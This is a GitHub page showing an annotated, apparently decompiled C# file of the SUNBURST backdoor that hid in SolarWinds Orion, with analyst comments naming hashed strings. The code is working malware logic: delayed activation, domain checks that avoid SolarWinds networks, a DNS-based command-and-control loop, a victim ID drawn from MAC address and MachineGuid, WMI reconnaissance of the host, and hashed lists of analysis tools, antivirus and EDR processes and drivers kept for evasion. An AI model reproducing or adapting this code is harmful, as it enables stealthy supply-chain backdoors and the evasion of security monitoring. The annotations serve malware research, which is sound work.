-
-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathOrionImprovementBusinessLayer_modified.cs
3877 lines (3657 loc) · 125 KB
/
OrionImprovementBusinessLayer_modified.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.IO.Pipes;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using Microsoft.Win32;
using SolarWinds.Orion.Core.Common.Configuration;
using SolarWinds.Orion.Core.SharedCredentials.Credentials;
namespace SolarWinds.Orion.Core.BusinessLayer
{
internal class OrionImprovementBusinessLayer
{
public static bool IsAlive
{
get
{
object isAliveLock = OrionImprovementBusinessLayer._isAliveLock;
bool result;
lock (isAliveLock)
{
if (OrionImprovementBusinessLayer._isAlive)
{
result = true;
}
else
{
OrionImprovementBusinessLayer._isAlive = true;
result = false;
}
}
return result;
}
}
private static bool svcListModified1
{
get
{
object obj = OrionImprovementBusinessLayer.svcListModifiedLock;
bool result;
lock (obj)
{
bool svcListModified = OrionImprovementBusinessLayer._svcListModified1;
OrionImprovementBusinessLayer._svcListModified1 = false;
result = svcListModified;
}
return result;
}
set
{
object obj = OrionImprovementBusinessLayer.svcListModifiedLock;
lock (obj)
{
OrionImprovementBusinessLayer._svcListModified1 = value;
}
}
}
private static bool svcListModified2
{
get
{
object obj = OrionImprovementBusinessLayer.svcListModifiedLock;
bool svcListModified;
lock (obj)
{
svcListModified = OrionImprovementBusinessLayer._svcListModified2;
}
return svcListModified;
}
set
{
object obj = OrionImprovementBusinessLayer.svcListModifiedLock;
lock (obj)
{
OrionImprovementBusinessLayer._svcListModified2 = value;
}
}
}
public static void Initialize()
{
try
{
if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) == 17291806236368054941UL /* solarwinds.businesslayerhost (SolarWinds - dev) */)
{
DateTime lastWriteTime = File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location);
int num = new Random().Next(288, 336);
if (DateTime.Now.CompareTo(lastWriteTime.AddHours((double)num)) >= 0)
{
OrionImprovementBusinessLayer.instance = new NamedPipeServerStream(OrionImprovementBusinessLayer.appId);
OrionImprovementBusinessLayer.ConfigManager.ReadReportStatus(out OrionImprovementBusinessLayer.status);
if (OrionImprovementBusinessLayer.status != OrionImprovementBusinessLayer.ReportStatus.Truncate)
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
OrionImprovementBusinessLayer.domain4 = IPGlobalProperties.GetIPGlobalProperties().DomainName;
if (!string.IsNullOrEmpty(OrionImprovementBusinessLayer.domain4) &&
// Continue infection only if the domain name passes the following check
!OrionImprovementBusinessLayer.IsNullOrInvalidName(OrionImprovementBusinessLayer.domain4))
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
if (OrionImprovementBusinessLayer.GetOrCreateUserID(out OrionImprovementBusinessLayer.userId))
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
OrionImprovementBusinessLayer.ConfigManager.ReadServiceStatus(false);
OrionImprovementBusinessLayer.Update(); // Main malicious code
OrionImprovementBusinessLayer.instance.Close();
}
}
}
}
}
}
catch (Exception)
{
}
}
private static bool UpdateNotification()
{
int num = 3;
while (num-- > 0)
{
OrionImprovementBusinessLayer.DelayMin(0, 0);
if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
{
return false;
}
if (OrionImprovementBusinessLayer.DnsHelper.CheckServerConnection(OrionImprovementBusinessLayer.apiHost))
{
return true;
}
}
return false;
}
private static void Update()
{
bool flag = false;
OrionImprovementBusinessLayer.CryptoHelper cryptoHelper = new OrionImprovementBusinessLayer.CryptoHelper(OrionImprovementBusinessLayer.userId, OrionImprovementBusinessLayer.domain4);
OrionImprovementBusinessLayer.HttpHelper httpHelper = null;
Thread thread = null;
bool flag2 = true;
OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown;
int num = 0;
bool flag3 = true;
OrionImprovementBusinessLayer.DnsRecords dnsRecords = new OrionImprovementBusinessLayer.DnsRecords();
Random random = new Random();
int a = 0;
if (!OrionImprovementBusinessLayer.UpdateNotification())
{
return;
}
OrionImprovementBusinessLayer.svcListModified2 = false;
int num2 = 1;
while (num2 <= 3 && !flag)
{
OrionImprovementBusinessLayer.DelayMin(dnsRecords.A, dnsRecords.A);
if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
{
if (OrionImprovementBusinessLayer.svcListModified1)
{
flag3 = true;
}
num = (OrionImprovementBusinessLayer.svcListModified2 ? (num + 1) : 0);
string hostName;
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.New)
{
if (addressFamilyEx != OrionImprovementBusinessLayer.AddressFamilyEx.Error)
{
hostName = cryptoHelper.GetPreviousString(out flag2);
}
else
{
hostName = cryptoHelper.GetCurrentString();
}
}
else
{
if (OrionImprovementBusinessLayer.status != OrionImprovementBusinessLayer.ReportStatus.Append)
{
break;
}
if (!flag3)
{
hostName = cryptoHelper.GetNextString(dnsRecords.dnssec);
}
else
{
hostName = cryptoHelper.GetNextStringEx(dnsRecords.dnssec);
}
}
addressFamilyEx = OrionImprovementBusinessLayer.DnsHelper.GetAddressFamily(hostName, dnsRecords);
switch (addressFamilyEx)
{
case OrionImprovementBusinessLayer.AddressFamilyEx.NetBios:
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Append)
{
flag3 = false;
if (dnsRecords.dnssec)
{
a = dnsRecords.A;
dnsRecords.A = random.Next(1, 3);
}
}
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.New && flag2)
{
OrionImprovementBusinessLayer.status = OrionImprovementBusinessLayer.ReportStatus.Append;
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.status);
}
if (!string.IsNullOrEmpty(dnsRecords.cname))
{
dnsRecords.A = a;
OrionImprovementBusinessLayer.HttpHelper.Close(httpHelper, thread);
httpHelper = new OrionImprovementBusinessLayer.HttpHelper(OrionImprovementBusinessLayer.userId, dnsRecords);
if (!OrionImprovementBusinessLayer.svcListModified2 || num > 1)
{
OrionImprovementBusinessLayer.svcListModified2 = false;
thread = new Thread(new ThreadStart(httpHelper.Initialize))
{
IsBackground = true
};
thread.Start();
}
}
num2 = 0;
break;
case OrionImprovementBusinessLayer.AddressFamilyEx.ImpLink:
case OrionImprovementBusinessLayer.AddressFamilyEx.Atm:
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.ReportStatus.Truncate);
OrionImprovementBusinessLayer.ProcessTracker.SetAutomaticMode();
flag = true;
break;
case OrionImprovementBusinessLayer.AddressFamilyEx.Ipx:
if (OrionImprovementBusinessLayer.status == OrionImprovementBusinessLayer.ReportStatus.Append)
{
OrionImprovementBusinessLayer.ConfigManager.WriteReportStatus(OrionImprovementBusinessLayer.ReportStatus.New);
}
flag = true;
break;
case OrionImprovementBusinessLayer.AddressFamilyEx.InterNetwork:
case OrionImprovementBusinessLayer.AddressFamilyEx.InterNetworkV6:
case OrionImprovementBusinessLayer.AddressFamilyEx.Unknown:
goto IL_1CE;
case OrionImprovementBusinessLayer.AddressFamilyEx.Error:
dnsRecords.A = random.Next(420, 540);
break;
default:
goto IL_1CE;
}
IL_1FA:
num2++;
continue;
IL_1CE:
flag = true;
goto IL_1FA;
}
break;
}
OrionImprovementBusinessLayer.HttpHelper.Close(httpHelper, thread);
}
private static string GetManagementObjectProperty(ManagementObject obj, string property)
{
object value = obj.Properties[property].Value;
string text;
if (((value != null) ? value.GetType() : null) == typeof(string[]))
{
text = string.Join(", ", from v in (string[])obj.Properties[property].Value
select v.ToString());
}
else
{
object value2 = obj.Properties[property].Value;
if (value2 != null)
{
if ((text = value2.ToString()) != null)
{
goto IL_9A;
}
}
text = "";
}
IL_9A:
string str = text;
return property + ": " + str + "\n";
}
private static string GetNetworkAdapterConfiguration()
{
string text = "";
string result;
try
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true"))
{
foreach (ManagementObject obj in managementObjectSearcher.Get().Cast<ManagementObject>())
{
text += "\n";
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "Description");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "MACAddress");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DHCPEnabled");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DHCPServer");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DNSHostName");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DNSDomainSuffixSearchOrder");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DNSServerSearchOrder");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "IPAddress");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "IPSubnet");
text += OrionImprovementBusinessLayer.GetManagementObjectProperty(obj, "DefaultIPGateway");
}
result = text;
}
}
catch (Exception ex)
{
result = text + ex.Message;
}
return result;
}
private static string GetOSVersion(bool full)
{
if (OrionImprovementBusinessLayer.osVersion == null || OrionImprovementBusinessLayer.osInfo == null)
{
try
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_OperatingSystem"))
{
ManagementObject managementObject = managementObjectSearcher.Get().Cast<ManagementObject>().FirstOrDefault<ManagementObject>();
OrionImprovementBusinessLayer.osInfo = managementObject.Properties["Caption"].Value.ToString();
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties["OSArchitecture"].Value.ToString();
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties["InstallDate"].Value.ToString();
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties["Organization"].Value.ToString();
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + managementObject.Properties["RegisteredUser"].Value.ToString();
string text = managementObject.Properties["Version"].Value.ToString();
OrionImprovementBusinessLayer.osInfo = OrionImprovementBusinessLayer.osInfo + ";" + text;
string[] array = text.Split(new char[]
{
'.'
});
OrionImprovementBusinessLayer.osVersion = array[0] + "." + array[1];
}
}
catch (Exception)
{
OrionImprovementBusinessLayer.osVersion = Environment.OSVersion.Version.Major + "." + Environment.OSVersion.Version.Minor;
OrionImprovementBusinessLayer.osInfo = string.Format("[E] {0} {1} {2}", Environment.OSVersion.VersionString, Environment.OSVersion.Version, Environment.Is64BitOperatingSystem ? 64 : 32);
}
}
if (!full)
{
return OrionImprovementBusinessLayer.osVersion;
}
return OrionImprovementBusinessLayer.osInfo;
}
private static string ReadDeviceInfo()
{
try
{
return (from nic in NetworkInterface.GetAllNetworkInterfaces()
where nic.OperationalStatus == OperationalStatus.Up && nic.NetworkInterfaceType != NetworkInterfaceType.Loopback
select nic.GetPhysicalAddress().ToString()).FirstOrDefault<string>();
}
catch (Exception)
{
}
return null;
}
private static bool GetOrCreateUserID(out byte[] hash64)
{
string text = OrionImprovementBusinessLayer.ReadDeviceInfo();
hash64 = new byte[8];
Array.Clear(hash64, 0, hash64.Length);
if (text == null)
{
return false;
}
text += OrionImprovementBusinessLayer.domain4;
try
{
text += OrionImprovementBusinessLayer.RegistryHelper.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography", "MachineGuid", "");
}
catch
{
}
using (MD5 md = MD5.Create())
{
byte[] bytes = Encoding.ASCII.GetBytes(text);
byte[] array = md.ComputeHash(bytes);
if (array.Length < hash64.Length)
{
return false;
}
for (int i = 0; i < array.Length; i++)
{
byte[] array2 = hash64;
int num = i % hash64.Length;
array2[num] ^= array[i];
}
}
return true;
}
private static bool IsNullOrInvalidName(string domain4)
{
string[] array = domain4.ToLower().Split(new char[]
{
'.'
});
if (array.Length >= 2)
{
string s = array[array.Length - 2] + "." + array[array.Length - 1];
// Check if the machine's domain name matches one of the SolarWinds networks
foreach (ulong num in OrionImprovementBusinessLayer.patternHashes)
{
if (OrionImprovementBusinessLayer.GetHash(s) == num)
{
// Domain failed checks, exit
return true;
}
}
}
foreach (string pattern in OrionImprovementBusinessLayer.patternList)
{
if (Regex.Match(domain4, pattern).Success)
{
// Domain failed checks, exit
return true;
}
}
return false;
}
private static void DelayMs(double minMs, double maxMs)
{
if ((int)maxMs == 0)
{
minMs = 1000.0;
maxMs = 2000.0;
}
double num;
for (num = minMs + new Random().NextDouble() * (maxMs - minMs); num >= 2147483647.0; num -= 2147483647.0)
{
Thread.Sleep(int.MaxValue);
}
Thread.Sleep((int)num);
}
private static void DelayMin(int minMinutes, int maxMinutes)
{
if (maxMinutes == 0)
{
minMinutes = 30;
maxMinutes = 120;
}
OrionImprovementBusinessLayer.DelayMs((double)minMinutes * 60.0 * 1000.0, (double)maxMinutes * 60.0 * 1000.0);
}
private static ulong GetHash(string s)
{
ulong num = 14695981039346656037UL; /* NOT A HASH - FNV base offset */
try
{
foreach (byte b in Encoding.UTF8.GetBytes(s))
{
num ^= (ulong)b;
num *= 1099511628211UL; /* NOT A HASH - FNV prime */
}
}
catch
{
}
return num ^ 6605813339339102567UL; /* NOT A HASH - XOR value */
}
private static string Quote(string s)
{
if (s != null && s.Contains(" ") && !s.Contains("\""))
{
return "\"" + s + "\"";
}
return s;
}
private static string Unquote(string s)
{
if (s.StartsWith('"'.ToString()) && s.EndsWith('"'.ToString()))
{
return s.Substring(1, s.Length - 2);
}
return s;
}
private static string ByteArrayToHexString(byte[] bytes)
{
StringBuilder stringBuilder = new StringBuilder(bytes.Length * 2);
foreach (byte b in bytes)
{
stringBuilder.AppendFormat("{0:x2}", b);
}
return stringBuilder.ToString();
}
private static byte[] HexStringToByteArray(string hex)
{
byte[] array = new byte[hex.Length / 2];
for (int i = 0; i < hex.Length; i += 2)
{
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
}
return array;
}
public OrionImprovementBusinessLayer()
{
}
// Note: this type is marked as 'beforefieldinit'.
static OrionImprovementBusinessLayer()
{
}
private static volatile bool _isAlive = false;
private static readonly object _isAliveLock = new object();
private static readonly ulong[] assemblyTimeStamps = new ulong[]
{
2597124982561782591UL /* apimonitor-x64 (Rohitab - RE/Malware analysis) */,
2600364143812063535UL /* apimonitor-x86 (Rohitab - RE/Malware analysis) */,
13464308873961738403UL /* autopsy64 (Autopsy - Forensics) */,
4821863173800309721UL /* autopsy (Autopsy - Forensics) */,
12969190449276002545UL /* autoruns64 (Autoruns - RE/Malware analysis) */,
3320026265773918739UL /* autoruns (Autoruns - RE/Malware analysis) */,
12094027092655598256UL /* autorunsc64 (Autoruns - RE/Malware analysis) */,
10657751674541025650UL /* autorunsc (Autoruns - RE/Malware analysis) */,
11913842725949116895UL /* binaryninja (Binary Ninja - RE/Malware analysis) */,
5449730069165757263UL /* blacklight (Blacklight - Forensics) */,
292198192373389586UL /* cff explorer (NTCore Explorer Suite - RE/Malware analysis) */,
12790084614253405985UL /* cutter (Rizin Cutter - RE/Malware analysis) */,
5219431737322569038UL /* de4dot (de4dot - Forensics) */,
15535773470978271326UL /* debugview (DebugView - RE/Malware analysis) */,
7810436520414958497UL /* diskmon (DiskMon - RE/Malware analysis) */,
13316211011159594063UL /* dnsd (Symantec - Antivirus) */,
13825071784440082496UL /* dnspy (dnSpy - RE/Malware analysis) */,
14480775929210717493UL /* dotpeek32 (dotPeek - RE/Malware analysis) */,
14482658293117931546UL /* dotpeek64 (dotPeek - RE/Malware analysis) */,
8473756179280619170UL /* dumpcap (Wireshark - RE/Malware analysis) */,
3778500091710709090UL /* evidence center (Belkasoft Evidence Center - Forensics) */,
8799118153397725683UL /* exeinfope (Exeinfo PE - RE/Malware analysis) */,
12027963942392743532UL /* fakedns (fakedns (iDefense) - RE/Malware analysis) */,
576626207276463000UL /* fakenet (fakenet - RE/Malware analysis) */,
7412338704062093516UL /* ffdec (Free Flash Decompiler - RE/Malware analysis) */,
682250828679635420UL /* fiddler (Fiddler - RE/Malware analysis) */,
13014156621614176974UL /* fileinsight (McAfee - RE/Malware analysis) */,
18150909006539876521UL /* floss (FireEye - RE/Malware analysis) */,
10336842116636872171UL /* gdb (gdb - RE/Malware analysis) */,
12785322942775634499UL /* hiew32demo (Hiew - RE/Malware analysis) */,
13260224381505715848UL /* hiew32 (Hiew - RE/Malware analysis) */,
17956969551821596225UL /* hollows_hunter (hollows hunter - RE/Malware analysis) */,
8709004393777297355UL /* idaq64 (IDA - RE/Malware analysis) */,
14256853800858727521UL /* idaq (IDA - RE/Malware analysis) */,
8129411991672431889UL /* idr (InsightDR? - RE/Malware analysis) */,
15997665423159927228UL /* ildasm (IL Disassembler - RE/Malware analysis) */,
10829648878147112121UL /* ilspy (ILSpy - RE/Malware analysis) */,
9149947745824492274UL /* jd-gui (Java Decompiler - RE/Malware analysis) */,
3656637464651387014UL /* lordpe (LordPE - RE/Malware analysis) */,
3575761800716667678UL /* officemalscanner (Officemalscanner - RE/Malware analysis) */,
4501656691368064027UL /* ollydbg (OllyDbg - RE/Malware analysis) */,
10296494671777307979UL /* pdfstreamdumper (PDFStreamDumper - RE/Malware analysis) */,
14630721578341374856UL /* pe-bear (PE-bear - RE/Malware analysis) */,
4088976323439621041UL /* pebrowse64 (Pebrowser - RE/Malware analysis) */,
9531326785919727076UL /* peid (PeiD - RE/Malware analysis) */,
6461429591783621719UL /* pe-sieve32 (PE-sieve - RE/Malware analysis) */,
6508141243778577344UL /* pe-sieve64 (PE-sieve - RE/Malware analysis) */,
10235971842993272939UL /* pestudio (pestudio - RE/Malware analysis) */,
2478231962306073784UL /* peview (Peview - RE/Malware analysis) */,
9903758755917170407UL /* pexplorer (Pexplorer - RE/Malware analysis) */,
14710585101020280896UL /* ppee (PPEE - RE/Malware analysis) */,
14710585101020280896UL /* ppee (PPEE - RE/Malware analysis) */,
13611814135072561278UL /* procdump64 (ProcDump - RE/Malware analysis) */,
2810460305047003196UL /* procdump (ProcDump - RE/Malware analysis) */,
2032008861530788751UL /* processhacker (Process Hacker - RE/Malware analysis) */,
27407921587843457UL /* procexp64 (Process Explorer - RE/Malware analysis) */,
6491986958834001955UL /* procexp (Process Explorer - RE/Malware analysis) */,
2128122064571842954UL /* procmon (ProcMon - RE/Malware analysis) */,
10484659978517092504UL /* prodiscoverbasic (ProDiscovery - Forensics) */,
8478833628889826985UL /* py2exedecompiler (Py2ExeDecompiler - RE/Malware analysis) */,
10463926208560207521UL /* r2agent (Radare2 - RE/Malware analysis) */,
7080175711202577138UL /* rabin2 (Radare2 - RE/Malware analysis) */,
8697424601205169055UL /* radare2 (Radare2 - RE/Malware analysis) */,
7775177810774851294UL /* ramcapture64 (Ram Capturer - Forensics) */,
16130138450758310172UL /* ramcapture (Ram Capturer - Forensics) */,
506634811745884560UL /* reflector (Red Gate Reflector - RE/Malware analysis) */,
18294908219222222902UL /* regmon (RegMon - RE/Malware analysis) */,
3588624367609827560UL /* resourcehacker (Resource Hacker - RE/Malware analysis) */,
9555688264681862794UL /* retdec-ar-extractor (Avast RetDec - RE/Malware analysis) */,
5415426428750045503UL /* retdec-bin2llvmir (Avast RetDec - RE/Malware analysis) */,
3642525650883269872UL /* retdec-bin2pat (Avast RetDec - RE/Malware analysis) */,
13135068273077306806UL /* retdec-config (Avast RetDec - RE/Malware analysis) */,
3769837838875367802UL /* retdec-fileinfo (Avast RetDec - RE/Malware analysis) */,
191060519014405309UL /* retdec-getsig (Avast RetDec - RE/Malware analysis) */,
1682585410644922036UL /* retdec-idr2pat (Avast RetDec - RE/Malware analysis) */,
7878537243757499832UL /* retdec-llvmir2hll (Avast RetDec - RE/Malware analysis) */,
13799353263187722717UL /* retdec-macho-extractor (Avast RetDec - RE/Malware analysis) */,
1367627386496056834UL /* retdec-pat2yara (Avast RetDec - RE/Malware analysis) */,
12574535824074203265UL /* retdec-stacofin (Avast RetDec - RE/Malware analysis) */,
16990567851129491937UL /* retdec-unpacker (Avast RetDec - RE/Malware analysis) */,
8994091295115840290UL /* retdec-yarac (Avast RetDec - RE/Malware analysis) */,
13876356431472225791UL /* rundotnetdll (RunDotNetDLL - RE/Malware analysis) */,
14968320160131875803UL /* sbiesvc (Sandboxie - Virtualization/container) */,
14868920869169964081UL /* scdbg (SCDBG - RE/Malware analysis) */,
106672141413120087UL /* scylla_x64 (Scylla - RE/Malware analysis) */,
79089792725215063UL /* scylla_x86 (Scylla - RE/Malware analysis) */,
5614586596107908838UL /* shellcode_launcher (Shellcode Launcher - RE/Malware analysis) */,
3869935012404164040UL /* solarwindsdiagnostics (SolarWinds - dev/test) */,
3538022140597504361UL /* sysmon64 (Sysmon - EDR) */,
14111374107076822891UL /* sysmon (Sysmon - EDR) */,
7982848972385914508UL /* task explorer (Task Explorer - RE/Malware analysis) */,
8760312338504300643UL /* task explorer-64 (Task Explorer - RE/Malware analysis) */,
17351543633914244545UL /* tcpdump (tcpdump - RE/Malware analysis) */,
7516148236133302073UL /* tcpvcon (TCPView - RE/Malware analysis) */,
15114163911481793350UL /* tcpview (TCPView - RE/Malware analysis) */,
15457732070353984570UL /* vboxservice (VirtualBox - Virtualization/container) */,
16292685861617888592UL /* win32_remote (IDA - RE/Malware analysis) */,
10374841591685794123UL /* win64_remotex64 (IDA - RE/Malware analysis) */,
3045986759481489935UL /* windbg (WinDbg (Microsoft) - RE/Malware analysis) */,
17109238199226571972UL /* windump (WinPcap WinDump - RE/Malware analysis) */,
6827032273910657891UL /* winhex64 (WinHex - RE/Malware analysis) */,
5945487981219695001UL /* winhex (WinHex - RE/Malware analysis) */,
8052533790968282297UL /* winobj (WinObj - RE/Malware analysis) */,
17574002783607647274UL /* wireshark (Wireshark - RE/Malware analysis) */,
3341747963119755850UL /* x32dbg (x64dbg - RE/Malware analysis) */,
14193859431895170587UL /* x64dbg (x64dbg - RE/Malware analysis) */,
17439059603042731363UL /* xwforensics64 (X-Ways Forensics - RE/Malware analysis) */,
17683972236092287897UL /* xwforensics (X-Ways Forensics - RE/Malware analysis) */,
700598796416086955UL /* redcloak (Red Cloak / SecureWorks - EDR) */,
3660705254426876796UL /* avgsvc (AVG - Antivirus) */,
12709986806548166638UL /* avgui (AVG - Antivirus) */,
3890794756780010537UL /* avgsvca (AVG - Antivirus) */,
2797129108883749491UL /* avgidsagent (AVG - Antivirus) */,
3890769468012566366UL /* avgsvcx (AVG - Antivirus) */,
14095938998438966337UL /* avgwdsvcx (AVG - Antivirus) */,
11109294216876344399UL /* avgadminclientservice (AVG - Antivirus) */,
1368907909245890092UL /* afwserv (Avast - Antivirus) */,
11818825521849580123UL /* avastui (Avast - Antivirus) */,
8146185202538899243UL /* avastsvc (Avast - Antivirus) */,
2934149816356927366UL /* aswidsagent (Avast/AVG - Antivirus) */,
13029357933491444455UL /* aswidsagenta (Avast/AVG - Antivirus) */,
6195833633417633900UL /* aswengsrv (Avast/AVG - Antivirus) */,
2760663353550280147UL /* avastavwrapper (Avast - Antivirus) */,
16423314183614230717UL /* bccavsvc (Avast - Antivirus) */,
2532538262737333146UL /* psanhost (Panda Security - EDR) */,
4454255944391929578UL /* psuaservice (Panda Security - EDR) */,
6088115528707848728UL /* psuamain (Panda Security - EDR) */,
13611051401579634621UL /* avp (Kaspersky - Antivirus) */,
18147627057830191163UL /* avpui (Kaspersky - Antivirus) */,
17633734304611248415UL /* ksde (Kaspersky - EDR) */,
13581776705111912829UL /* ksdeui (Kaspersky - EDR) */,
7175363135479931834UL /* tanium (Tanium - EDR) */,
3178468437029279937UL /* taniumclient (Tanium - EDR) */,
13599785766252827703UL /* taniumdetectengine (Tanium - EDR) */,
6180361713414290679UL /* taniumendpointindex (Tanium - EDR) */,
8612208440357175863UL /* taniumtracecli (Tanium - EDR) */,
8408095252303317471UL /* taniumtracewebsocketclient64 (Tanium - EDR) */
};
private static readonly ulong[] configTimeStamps = new ulong[]
{
17097380490166623672UL /* cybkerneltracker.sys (CyberArk - EDR) */,
15194901817027173566UL /* atrsdfw.sys (Altiris / Symantec - EDR) */,
12718416789200275332UL /* eaw.sys (Raytheon Cyber Solutions - EDR) */,
18392881921099771407UL /* rvsavd.sys (OPSWAT / CJSC Returnil - EDR) */,
3626142665768487764UL /* dgdmk.sys (Verdasys - EDR) */,
12343334044036541897UL /* sentinelmonitor.sys (SentinelOne - EDR) */,
397780960855462669UL /* hexisfsmonitor.sys (Hexis Cyber Solutions - EDR) */,
6943102301517884811UL /* groundling32.sys (Dell Secureworks - EDR) */,
13544031715334011032UL /* groundling64.sys (Dell Secureworks - EDR) */,
11801746708619571308UL /* safe-agent.sys (SAFE-Cyberdefense - EDR) */,
18159703063075866524UL /* crexecprev.sys (Cybereason - EDR) */,
835151375515278827UL /* psepfilter.sys (Absolute Software - EDR) */,
16570804352575357627UL /* cve.sys (Absolute Software Corp. - EDR) */,
1614465773938842903UL /* brfilter.sys (Bromium - App allowlisting) */,
12679195163651834776UL /* brcow_x_x_x_x.sys (Bromium - App allowlisting) */,
2717025511528702475UL /* lragentmf.sys (LogRhythm - EDR) */,
17984632978012874803UL /* libwamf.sys (OPSWAT - EDR development) */
};
private static readonly object svcListModifiedLock = new object();
private static volatile bool _svcListModified1 = false;
private static volatile bool _svcListModified2 = false;
